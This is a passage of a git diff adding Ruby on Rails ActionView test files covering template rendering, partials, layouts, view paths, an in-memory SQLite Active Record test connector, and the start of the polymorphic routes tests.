+  def test_render_text
+    get :render_text_hello_world
+    assert_equal "hello world", @response.body
+  end
+
+  # :ported:
+  def test_do_with_render_text_and_layout
+    get :render_text_hello_world_with_layout
+    assert_equal "{{hello world, I am here!}}\n", @response.body
+  end
+
+  # :ported:
+  def test_do_with_render_action_and_layout_false
+    get :hello_world_with_layout_false
+    assert_equal "Hello world!", @response.body
+  end
+
+  # :ported:
+  def test_render_file_with_instance_variables
+    get :render_file_with_instance_variables
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  def test_render_file
+    get :hello_world_file
+    assert_equal "Hello world!", @response.body
+  end
+
+  # :ported:
+  def test_render_file_not_using_full_path
+    get :render_file_not_using_full_path
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_not_using_full_path_with_dot_in_path
+    get :render_file_not_using_full_path_with_dot_in_path
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_using_pathname
+    get :render_file_using_pathname
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_with_locals
+    get :render_file_with_locals
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_file_as_string_with_locals
+    get :render_file_as_string_with_locals
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :assessed:
+  def test_render_file_from_template
+    get :render_file_from_template
+    assert_equal "The secret is in the sauce\n", @response.body
+  end
+
+  # :ported:
+  def test_render_custom_code
+    get :render_custom_code
+    assert_response 404
+    assert_response :missing
+    assert_equal "hello world", @response.body
+  end
+
+  # :ported:
+  def test_render_text_with_nil
+    get :render_text_with_nil
+    assert_response 200
+    assert_equal "", @response.body
+  end
+
+  # :ported:
+  def test_render_text_with_false
+    get :render_text_with_false
+    assert_equal "false", @response.body
+  end
+
+  # :ported:
+  def test_render_nothing_with_appendix
+    get :render_nothing_with_appendix
+    assert_response 200
+    assert_equal "appended", @response.body
+  end
+
+  def test_render_text_with_resource
+    get :render_text_with_resource
+    assert_equal 'name: "David"', @response.body
+  end
+
+  # :ported:
+  def test_attempt_to_access_object_method
+    assert_raise(AbstractController::ActionNotFound) { get :clone }
+  end
+
+  # :ported:
+  def test_private_methods
+    assert_raise(AbstractController::ActionNotFound) { get :determine_layout }
+  end
+
+  # :ported:
+  def test_access_to_request_in_view
+    get :accessing_request_in_template
+    assert_equal "Hello: www.nextangle.com", @response.body
+  end
+
+  def test_access_to_logger_in_view
+    get :accessing_logger_in_template
+    assert_equal "ActiveSupport::Logger", @response.body
+  end
+
+  # :ported:
+  def test_access_to_action_name_in_view
+    get :accessing_action_name_in_template
+    assert_equal "accessing_action_name_in_template", @response.body
+  end
+
+  # :ported:
+  def test_access_to_controller_name_in_view
+    get :accessing_controller_name_in_template
+    assert_equal "test", @response.body # name is explicitly set in the controller.
+  end
+
+  # :ported:
+  def test_render_xml
+    get :render_xml_hello
+    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+    assert_equal "application/xml", @response.content_type
+  end
+
+  # :ported:
+  def test_render_xml_as_string_template
+    get :render_xml_hello_as_string_template
+    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+    assert_equal "application/xml", @response.content_type
+  end
+
+  # :ported:
+  def test_render_xml_with_default
+    get :greeting
+    assert_equal "<p>This is grand!</p>\n", @response.body
+  end
+
+  # :move: test in AV
+  def test_render_xml_with_partial
+    get :builder_partial_test
+    assert_equal "<test>\n  <hello/>\n</test>\n", @response.body
+  end
+
+  # :ported:
+  def test_layout_rendering
+    get :layout_test
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_render_xml_with_layouts
+    get :builder_layout_test
+    assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
+  end
+
+  def test_partials_list
+    get :partials_list
+    assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
+  end
+
+  def test_render_to_string
+    get :hello_in_a_string
+    assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
+  end
+
+  def test_render_to_string_resets_assigns
+    get :render_to_string_test
+    assert_equal "The value of foo is: ::this is a test::\n", @response.body
+  end
+
+  def test_render_to_string_inline
+    get :render_to_string_with_inline_and_render
+    assert_equal "Hello world!", @response.body
+  end
+
+  # :ported:
+  def test_nested_rendering
+    @controller = Fun::GamesController.new
+    get :hello_world
+    assert_equal "Living in a nested world", @response.body
+  end
+
+  def test_accessing_params_in_template
+    get :accessing_params_in_template, params: { name: "David" }
+    assert_equal "Hello: David", @response.body
+  end
+
+  def test_accessing_local_assigns_in_inline_template
+    get :accessing_local_assigns_in_inline_template, params: { local_name: "Local David" }
+    assert_equal "Goodbye, Local David", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_should_implicitly_render_html_template_from_xhr_request
+    get :render_implicit_html_template_from_xhr_request, xhr: true
+    assert_equal "XHR!\nHello HTML!", @response.body
+  end
+
+  def test_should_implicitly_render_js_template_without_layout
+    get :render_implicit_js_template_without_layout, format: :js, xhr: true
+    assert_no_match %r{<html>}, @response.body
+  end
+
+  def test_should_render_formatted_template
+    get :formatted_html_erb
+    assert_equal "formatted html erb", @response.body
+  end
+
+  def test_should_render_formatted_html_erb_template
+    get :formatted_xml_erb
+    assert_equal "<test>passed formatted html erb</test>", @response.body
+  end
+
+  def test_should_render_formatted_html_erb_template_with_bad_accepts_header
+    @request.env["HTTP_ACCEPT"] = "; a=dsf"
+    get :formatted_xml_erb
+    assert_equal "<test>passed formatted html erb</test>", @response.body
+  end
+
+  def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
+    @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*"
+    get :formatted_xml_erb
+    assert_equal "<test>passed formatted html erb</test>", @response.body
+  end
+
+  def test_layout_test_with_different_layout
+    get :layout_test_with_different_layout
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_layout_test_with_different_layout_and_string_action
+    get :layout_test_with_different_layout_and_string_action
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_layout_test_with_different_layout_and_symbol_action
+    get :layout_test_with_different_layout_and_symbol_action
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_rendering_without_layout
+    get :rendering_without_layout
+    assert_equal "Hello world!", @response.body
+  end
+
+  def test_layout_overriding_layout
+    get :layout_overriding_layout
+    assert_no_match %r{<title>}, @response.body
+  end
+
+  def test_rendering_nothing_on_layout
+    get :rendering_nothing_on_layout
+    assert_equal "", @response.body
+  end
+
+  def test_render_to_string_doesnt_break_assigns
+    get :render_to_string_with_assigns
+    assert_equal "i'm before the render", @controller.instance_variable_get(:@before)
+    assert_equal "i'm after the render", @controller.instance_variable_get(:@after)
+  end
+
+  def test_bad_render_to_string_still_throws_exception
+    assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+  end
+
+  def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
+    assert_nothing_raised { get :render_to_string_with_caught_exception }
+    assert_equal "i'm before the render", @controller.instance_variable_get(:@before)
+    assert_equal "i'm after the render", @controller.instance_variable_get(:@after)
+  end
+
+  def test_accessing_params_in_template_with_layout
+    get :accessing_params_in_template_with_layout, params: { name: "David" }
+    assert_equal "<html>Hello: David</html>", @response.body
+  end
+
+  def test_render_with_explicit_template
+    get :render_with_explicit_template
+    assert_response :success
+  end
+
+  def test_render_with_explicit_unescaped_template
+    assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
+    get :render_with_explicit_escaped_template
+    assert_equal "Hello w*rld!", @response.body
+  end
+
+  def test_render_with_explicit_string_template
+    get :render_with_explicit_string_template
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_render_with_filters
+    get :render_with_filters
+    assert_equal "<test>passed formatted xml erb</test>", @response.body
+  end
+
+  # :ported:
+  def test_double_render
+    assert_raise(AbstractController::DoubleRenderError) { get :double_render }
+  end
+
+  def test_double_redirect
+    assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
+  end
+
+  def test_render_and_redirect
+    assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
+  end
+
+  # specify the one exception to double render rule - render_to_string followed by render
+  def test_render_to_string_and_render
+    get :render_to_string_and_render
+    assert_equal("Hi web users! here is some cached stuff", @response.body)
+  end
+
+  def test_rendering_with_conflicting_local_vars
+    get :rendering_with_conflicting_local_vars
+    assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
+  end
+
+  def test_action_talk_to_layout
+    get :action_talk_to_layout
+    assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
+  end
+
+  # :addressed:
+  def test_render_text_with_assigns
+    get :render_text_with_assigns
+    assert_equal "world", @controller.instance_variable_get(:@hello)
+  end
+
+  def test_render_text_with_assigns_option
+    get :render_with_assigns_option
+    assert_equal "world", response.body
+  end
+
+  # :ported:
+  def test_template_with_locals
+    get :render_with_explicit_template_with_locals
+    assert_equal "The secret is area51\n", @response.body
+  end
+
+  def test_yield_content_for
+    get :yield_content_for
+    assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body
+  end
+
+  def test_overwriting_rendering_relative_file_with_extension
+    get :hello_world_from_rxml_using_template
+    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
+
+    get :hello_world_from_rxml_using_action
+    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
+  end
+
+  def test_using_layout_around_block
+    get :render_using_layout_around_block
+    assert_equal "Before (David)\nInside from block\nAfter", @response.body
+  end
+
+  def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
+  end
+
+  def test_partial_only
+    get :partial_only
+    assert_equal "only partial", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_should_render_html_formatted_partial
+    get :partial
+    assert_equal "partial html", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
+    @request.accept = "text/javascript, text/html"
+
+    get :partial_html_erb
+
+    assert_equal "partial.html.erb", @response.body.strip
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_should_render_html_partial_with_formats
+    get :partial_formats_html
+    assert_equal "partial html", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_to_string_partial
+    get :render_to_string_with_partial
+    assert_equal "only partial", @controller.instance_variable_get(:@partial_only)
+    assert_equal "Hello: david", @controller.instance_variable_get(:@partial_with_locals)
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_to_string_with_template_and_html_partial
+    get :render_to_string_with_template_and_html_partial
+    assert_equal "**only partial**\n", @controller.instance_variable_get(:@text)
+    assert_equal "<strong>only partial</strong>\n", @controller.instance_variable_get(:@html)
+    assert_equal "<strong>only html partial</strong>\n", @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_render_to_string_and_render_with_different_formats
+    get :render_to_string_and_render_with_different_formats
+    assert_equal "<strong>only partial</strong>\n", @controller.instance_variable_get(:@html)
+    assert_equal "**only partial**\n", @response.body
+    assert_equal "text/plain", @response.content_type
+  end
+
+  def test_render_template_within_a_template_with_other_format
+    get :render_template_within_a_template_with_other_format
+    expected = "only html partial<p>This is grand!</p>"
+    assert_equal expected, @response.body.strip
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_partial_with_counter
+    get :partial_with_counter
+    assert_equal "5", @response.body
+  end
+
+  def test_partial_with_locals
+    get :partial_with_locals
+    assert_equal "Hello: david", @response.body
+  end
+
+  def test_partial_with_form_builder
+    get :partial_with_form_builder
+    assert_equal "<label for=\"post_title\">Title</label>\n", @response.body
+  end
+
+  def test_partial_with_form_builder_subclass
+    get :partial_with_form_builder_subclass
+    assert_equal "<label for=\"post_title\">Title</label>\n", @response.body
+  end
+
+  def test_nested_partial_with_form_builder
+    @controller = Fun::GamesController.new
+    get :nested_partial_with_form_builder
+    assert_equal "<label for=\"post_title\">Title</label>\n", @response.body
+  end
+
+  def test_namespaced_object_partial
+    @controller = Quiz::QuestionsController.new
+    get :new
+    assert_equal "Namespaced Partial", @response.body
+  end
+
+  def test_partial_collection
+    get :partial_collection
+    assert_equal "Hello: davidHello: mary", @response.body
+  end
+
+  def test_partial_collection_with_as
+    get :partial_collection_with_as
+    assert_equal "david david davidmary mary mary", @response.body
+  end
+
+  def test_partial_collection_with_iteration
+    get :partial_collection_with_iteration
+    assert_equal "3-0: david-first3-1: mary3-2: christine-last", @response.body
+  end
+
+  def test_partial_collection_with_as_and_iteration
+    get :partial_collection_with_as_and_iteration
+    assert_equal "3-0: david-first3-1: mary3-2: christine-last", @response.body
+  end
+
+  def test_partial_collection_with_counter
+    get :partial_collection_with_counter
+    assert_equal "david0mary1", @response.body
+  end
+
+  def test_partial_collection_with_as_and_counter
+    get :partial_collection_with_as_and_counter
+    assert_equal "david0mary1", @response.body
+  end
+
+  def test_partial_collection_with_locals
+    get :partial_collection_with_locals
+    assert_equal "Bonjour: davidBonjour: mary", @response.body
+  end
+
+  def test_partial_collection_with_spacer
+    get :partial_collection_with_spacer
+    assert_equal "Hello: davidonly partialHello: mary", @response.body
+  end
+
+  def test_partial_collection_with_spacer_which_uses_render
+    get :partial_collection_with_spacer_which_uses_render
+    assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body
+  end
+
+  def test_partial_collection_shorthand_with_locals
+    get :partial_collection_shorthand_with_locals
+    assert_equal "Bonjour: davidBonjour: mary", @response.body
+  end
+
+  def test_partial_collection_shorthand_with_different_types_of_records
+    get :partial_collection_shorthand_with_different_types_of_records
+    assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
+  end
+
+  def test_empty_partial_collection
+    get :empty_partial_collection
+    assert_equal " ", @response.body
+  end
+
+  def test_partial_with_hash_object
+    get :partial_with_hash_object
+    assert_equal "Sam\nmaS\n", @response.body
+  end
+
+  def test_partial_with_nested_object
+    get :partial_with_nested_object
+    assert_equal "first", @response.body
+  end
+
+  def test_partial_with_nested_object_shorthand
+    get :partial_with_nested_object_shorthand
+    assert_equal "first", @response.body
+  end
+
+  def test_hash_partial_collection
+    get :partial_hash_collection
+    assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
+  end
+
+  def test_partial_hash_collection_with_locals
+    get :partial_hash_collection_with_locals
+    assert_equal "Hola: PratikHola: Amy", @response.body
+  end
+
+  def test_render_missing_partial_template
+    assert_raise(ActionView::MissingTemplate) do
+      get :missing_partial
+    end
+  end
+
+  def test_render_call_to_partial_with_layout
+    get :render_call_to_partial_with_layout
+    assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
+  end
+
+  def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
+  end
+end
diff --git a/actionview/test/actionpack/controller/view_paths_test.rb b/actionview/test/actionpack/controller/view_paths_test.rb
new file mode 100644
index 0000000000..45c662f0ce
--- /dev/null
+++ b/actionview/test/actionpack/controller/view_paths_test.rb
@@ -0,0 +1,174 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ViewLoadPathsTest < ActionController::TestCase
+  class TestController < ActionController::Base
+    def self.controller_path() "test" end
+
+    before_action :add_view_path, only: :hello_world_at_request_time
+
+    def hello_world() end
+    def hello_world_at_request_time() render(action: "hello_world") end
+
+    private
+      def add_view_path
+        prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+      end
+  end
+
+  module Test
+    class SubController < ActionController::Base
+      layout "test/sub"
+      def hello_world; render(template: "test/hello_world"); end
+    end
+  end
+
+  def setup
+    @controller = TestController.new
+    @request  = ActionController::TestRequest.create(@controller.class)
+    @response = ActionDispatch::TestResponse.new
+    @paths = TestController.view_paths
+  end
+
+  def teardown
+    TestController.view_paths = @paths
+  end
+
+  def expand(array)
+    array.map { |x| File.expand_path(x.to_s) }
+  end
+
+  def assert_paths(*paths)
+    controller = paths.first.is_a?(Class) ? paths.shift : @controller
+    assert_equal expand(paths), controller.view_paths.map(&:to_s)
+  end
+
+  def test_template_load_path_was_set_correctly
+    assert_paths FIXTURE_LOAD_PATH
+  end
+
+  def test_controller_appends_view_path_correctly
+    @controller.append_view_path "foo"
+    assert_paths(FIXTURE_LOAD_PATH, "foo")
+
+    @controller.append_view_path(%w(bar baz))
+    assert_paths(FIXTURE_LOAD_PATH, "foo", "bar", "baz")
+
+    @controller.append_view_path(FIXTURE_LOAD_PATH)
+    assert_paths(FIXTURE_LOAD_PATH, "foo", "bar", "baz", FIXTURE_LOAD_PATH)
+  end
+
+  def test_controller_prepends_view_path_correctly
+    @controller.prepend_view_path "baz"
+    assert_paths("baz", FIXTURE_LOAD_PATH)
+
+    @controller.prepend_view_path(%w(foo bar))
+    assert_paths "foo", "bar", "baz", FIXTURE_LOAD_PATH
+
+    @controller.prepend_view_path(FIXTURE_LOAD_PATH)
+    assert_paths FIXTURE_LOAD_PATH, "foo", "bar", "baz", FIXTURE_LOAD_PATH
+  end
+
+  def test_template_appends_view_path_correctly
+    @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+    class_view_paths = TestController.view_paths
+
+    @controller.append_view_path "foo"
+    assert_paths FIXTURE_LOAD_PATH, "foo"
+
+    @controller.append_view_path(%w(bar baz))
+    assert_paths FIXTURE_LOAD_PATH, "foo", "bar", "baz"
+    assert_paths TestController, *class_view_paths
+  end
+
+  def test_template_prepends_view_path_correctly
+    @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+    class_view_paths = TestController.view_paths
+
+    @controller.prepend_view_path "baz"
+    assert_paths "baz", FIXTURE_LOAD_PATH
+
+    @controller.prepend_view_path(%w(foo bar))
+    assert_paths "foo", "bar", "baz", FIXTURE_LOAD_PATH
+    assert_paths TestController, *class_view_paths
+  end
+
+  def test_view_paths
+    get :hello_world
+    assert_response :success
+    assert_equal "Hello world!", @response.body
+  end
+
+  def test_view_paths_override
+    TestController.prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+    get :hello_world
+    assert_response :success
+    assert_equal "Hello overridden world!", @response.body
+  end
+
+  def test_view_paths_override_for_layouts_in_controllers_with_a_module
+    @controller = Test::SubController.new
+    Test::SubController.view_paths = [ "#{FIXTURE_LOAD_PATH}/override", FIXTURE_LOAD_PATH, "#{FIXTURE_LOAD_PATH}/override2" ]
+    get :hello_world
+    assert_response :success
+    assert_equal "layout: Hello overridden world!", @response.body
+  end
+
+  def test_view_paths_override_at_request_time
+    get :hello_world_at_request_time
+    assert_response :success
+    assert_equal "Hello overridden world!", @response.body
+  end
+
+  def test_decorate_view_paths_with_custom_resolver
+    decorator_class = Class.new(ActionView::PathResolver) do
+      def initialize(path_set)
+        @path_set = path_set
+      end
+
+      def find_all(*args)
+        @path_set.find_all(*args).collect do |template|
+          ::ActionView::Template.new(
+            "Decorated body",
+            template.identifier,
+            template.handler,
+              virtual_path: template.virtual_path,
+              format: template.formats
+          )
+        end
+      end
+    end
+
+    decorator = decorator_class.new(TestController.view_paths)
+    TestController.view_paths = ActionView::PathSet.new.push(decorator)
+
+    get :hello_world
+    assert_response :success
+    assert_equal "Decorated body", @response.body
+  end
+
+  def test_inheritance
+    original_load_paths = ActionController::Base.view_paths
+
+    self.class.class_eval %{
+      class A < ActionController::Base; end
+      class B < A; end
+      class C < ActionController::Base; end
+    }
+
+    A.view_paths = ["a/path"]
+
+    assert_paths A, "a/path"
+    assert_paths A, *B.view_paths
+    assert_paths C, *original_load_paths
+
+    C.view_paths = []
+    assert_nothing_raised { C.append_view_path "c/path" }
+    assert_paths C, "c/path"
+  end
+
+  def test_lookup_context_accessor
+    assert_equal ["test"], TestController.new.lookup_context.prefixes
+  end
+end
diff --git a/actionview/test/active_record_unit.rb b/actionview/test/active_record_unit.rb
new file mode 100644
index 0000000000..b39ecd8813
--- /dev/null
+++ b/actionview/test/active_record_unit.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+# Define the essentials
+class ActiveRecordTestConnector
+  cattr_accessor :able_to_connect
+  cattr_accessor :connected
+
+  # Set our defaults
+  self.connected = false
+  self.able_to_connect = true
+end
+
+# Try to grab AR
+unless defined?(ActiveRecord) && defined?(FixtureSet)
+  begin
+    PATH_TO_AR = File.expand_path("../../activerecord/lib", __dir__)
+    raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR)
+    $LOAD_PATH.unshift PATH_TO_AR
+    require "active_record"
+  rescue LoadError => e
+    $stderr.print "Failed to load Active Record. Skipping Active Record assertion tests: #{e}"
+    ActiveRecordTestConnector.able_to_connect = false
+  end
+end
+$stderr.flush
+
+# Define the rest of the connector
+class ActiveRecordTestConnector
+  class << self
+    def setup
+      unless connected || !able_to_connect
+        setup_connection
+        load_schema
+        require_fixture_models
+        self.connected = true
+      end
+    rescue Exception => e  # errors from ActiveRecord setup
+      $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}"
+      #$stderr.puts "  #{e.backtrace.join("\n  ")}\n"
+      self.able_to_connect = false
+    end
+
+    private
+      def setup_connection
+        if Object.const_defined?(:ActiveRecord)
+          defaults = { database: ":memory:" }
+          adapter = defined?(JRUBY_VERSION) ? "jdbcsqlite3" : "sqlite3"
+          options = defaults.merge adapter: adapter, timeout: 500
+          ActiveRecord::Base.establish_connection(options)
+          ActiveRecord::Base.configurations = { "sqlite3_ar_integration" => options }
+          ActiveRecord::Base.connection
+
+          Object.send(:const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name("type")) unless Object.const_defined?(:QUOTED_TYPE)
+        else
+          raise "Can't setup connection since ActiveRecord isn't loaded."
+        end
+      end
+
+      # Load actionpack sqlite3 tables
+      def load_schema
+        File.read(File.expand_path("fixtures/db_definitions/sqlite.sql", __dir__)).split(";").each do |sql|
+          ActiveRecord::Base.connection.execute(sql) unless sql.blank?
+        end
+      end
+
+      def require_fixture_models
+        Dir.glob(File.expand_path("fixtures/*.rb", __dir__)).each { |f| require f }
+      end
+  end
+end
+
+class ActiveRecordTestCase < ActionController::TestCase
+  include ActiveRecord::TestFixtures
+
+  # Set our fixture path
+  if ActiveRecordTestConnector.able_to_connect
+    self.fixture_path = [FIXTURE_LOAD_PATH]
+    self.use_transactional_tests = false
+  end
+
+  def self.fixtures(*args)
+    super if ActiveRecordTestConnector.connected
+  end
+
+  def run(*args)
+    super if ActiveRecordTestConnector.connected
+  end
+end
+
+ActiveRecordTestConnector.setup
diff --git a/actionview/test/activerecord/controller_runtime_test.rb b/actionview/test/activerecord/controller_runtime_test.rb
new file mode 100644
index 0000000000..42b171ea07
--- /dev/null
+++ b/actionview/test/activerecord/controller_runtime_test.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+require "active_record_unit"
+require "active_record/railties/controller_runtime"
+require "fixtures/project"
+require "active_support/log_subscriber/test_helper"
+require "action_controller/log_subscriber"
+
+ActionController::Base.include(ActiveRecord::Railties::ControllerRuntime)
+
+class ControllerRuntimeLogSubscriberTest < ActionController::TestCase
+  class LogSubscriberController < ActionController::Base
+    def show
+      render inline: "<%= Project.all %>"
+    end
+
+    def zero
+      render inline: "Zero DB runtime"
+    end
+
+    def create
+      ActiveRecord::LogSubscriber.runtime += 100
+      Project.last
+      redirect_to "/"
+    end
+
+    def redirect
+      Project.all
+      redirect_to action: "show"
+    end
+
+    def db_after_render
+      render inline: "Hello world"
+      Project.all
+      ActiveRecord::LogSubscriber.runtime += 100
+    end
+  end
+
+  include ActiveSupport::LogSubscriber::TestHelper
+  tests LogSubscriberController
+
+  def setup
+    @old_logger = ActionController::Base.logger
+    super
+    ActionController::LogSubscriber.attach_to :action_controller
+  end
+
+  def teardown
+    super
+    ActiveSupport::LogSubscriber.log_subscribers.clear
+    ActionController::Base.logger = @old_logger
+  end
+
+  def set_logger(logger)
+    ActionController::Base.logger = logger
+  end
+
+  def test_log_with_active_record
+    get :show
+    wait
+
+    assert_equal 2, @logger.logged(:info).size
+    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[1])
+  end
+
+  def test_runtime_reset_before_requests
+    ActiveRecord::LogSubscriber.runtime += 12345
+    get :zero
+    wait
+
+    assert_equal 2, @logger.logged(:info).size
+    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: 0\.0ms\)/, @logger.logged(:info)[1])
+  end
+
+  def test_log_with_active_record_when_post
+    post :create
+    wait
+    assert_match(/ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[2])
+  end
+
+  def test_log_with_active_record_when_redirecting
+    get :redirect
+    wait
+    assert_equal 3, @logger.logged(:info).size
+    assert_match(/\(ActiveRecord: [\d.]+ms\)/, @logger.logged(:info)[2])
+  end
+
+  def test_include_time_query_time_after_rendering
+    get :db_after_render
+    wait
+
+    assert_equal 2, @logger.logged(:info).size
+    assert_match(/\(Views: [\d.]+ms \| ActiveRecord: ([1-9][\d.]+)ms\)/, @logger.logged(:info)[1])
+  end
+end
diff --git a/actionview/test/activerecord/debug_helper_test.rb b/actionview/test/activerecord/debug_helper_test.rb
new file mode 100644
index 0000000000..4be1023733
--- /dev/null
+++ b/actionview/test/activerecord/debug_helper_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "active_record_unit"
+require "nokogiri"
+
+class DebugHelperTest < ActionView::TestCase
+  def test_debug
+    company = Company.new(name: "firebase")
+    output = debug(company)
+    assert_match "name: name", output
+    assert_match "value_before_type_cast: firebase", output
+    assert_match "active_record_yaml_version: 2", output
+  end
+
+  def test_debug_with_marshal_error
+    obj = -> {}
+    assert_match obj.inspect, Nokogiri.XML(debug(obj)).content
+  end
+end
diff --git a/actionview/test/activerecord/form_helper_activerecord_test.rb b/actionview/test/activerecord/form_helper_activerecord_test.rb
new file mode 100644
index 0000000000..1472ee8def
--- /dev/null
+++ b/actionview/test/activerecord/form_helper_activerecord_test.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "active_record_unit"
+require "fixtures/project"
+require "fixtures/developer"
+
+class FormHelperActiveRecordTest < ActionView::TestCase
+  tests ActionView::Helpers::FormHelper
+
+  def form_for(*)
+    @output_buffer = super
+  end
+
+  def setup
+    @developer = Developer.new
+    @developer.id   = 123
+    @developer.name = "developer #123"
+
+    @project = Project.new
+    @project.id   = 321
+    @project.name = "project #321"
+    @project.save
+
+    @developer.projects << @project
+    @developer.save
+  end
+
+  def teardown
+    Project.delete(321)
+    Developer.delete(123)
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    resources :developers do
+      resources :projects
+    end
+  end
+
+  include Routes.url_helpers
+
+  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+    form_for(@developer) do |f|
+      concat f.fields_for(:projects, @developer.projects.first, child_index: "abc") { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/developers/123", "edit_developer_123", "edit_developer", method: "patch") do
+      '<input id="developer_projects_attributes_abc_name" name="developer[projects_attributes][abc][name]" type="text" value="project #321" />' \
+          '<input id="developer_projects_attributes_abc_id" name="developer[projects_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  private
+
+    def hidden_fields(method = nil)
+      txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}.dup
+
+      if method && !%w(get post).include?(method.to_s)
+        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+      end
+
+      txt
+    end
+
+    def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+      txt =  %{<form accept-charset="UTF-8" action="#{action}"}.dup
+      txt << %{ enctype="multipart/form-data"} if multipart
+      txt << %{ data-remote="true"} if remote
+      txt << %{ class="#{html_class}"} if html_class
+      txt << %{ id="#{id}"} if id
+      method = method.to_s == "get" ? "get" : "post"
+      txt << %{ method="#{method}">}
+    end
+
+    def whole_form(action = "/", id = nil, html_class = nil, options = nil)
+      contents = block_given? ? yield : ""
+
+      if options.is_a?(Hash)
+        method, remote, multipart = options.values_at(:method, :remote, :multipart)
+      else
+        method = options
+      end
+
+      form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+    end
+end
diff --git a/actionview/test/activerecord/polymorphic_routes_test.rb b/actionview/test/activerecord/polymorphic_routes_test.rb
new file mode 100644
index 0000000000..4b931f793f
--- /dev/null
+++ b/actionview/test/activerecord/polymorphic_routes_test.rb
@@ -0,0 +1,780 @@
+# frozen_string_literal: true
+
+require "active_record_unit"
+require "fixtures/project"
+
+class Task < ActiveRecord::Base
+  self.table_name = "projects"
+end
+
+class Step < ActiveRecord::Base
+  self.table_name = "projects"
+end
+
+class Bid < ActiveRecord::Base
+  self.table_name = "projects"
+end
+
+class Tax < ActiveRecord::Base
+  self.table_name = "projects"
+end
+
+class Fax < ActiveRecord::Base
+  self.table_name = "projects"
+end
+
+class Series < ActiveRecord::Base
+  self.table_name = "projects"
+end
+
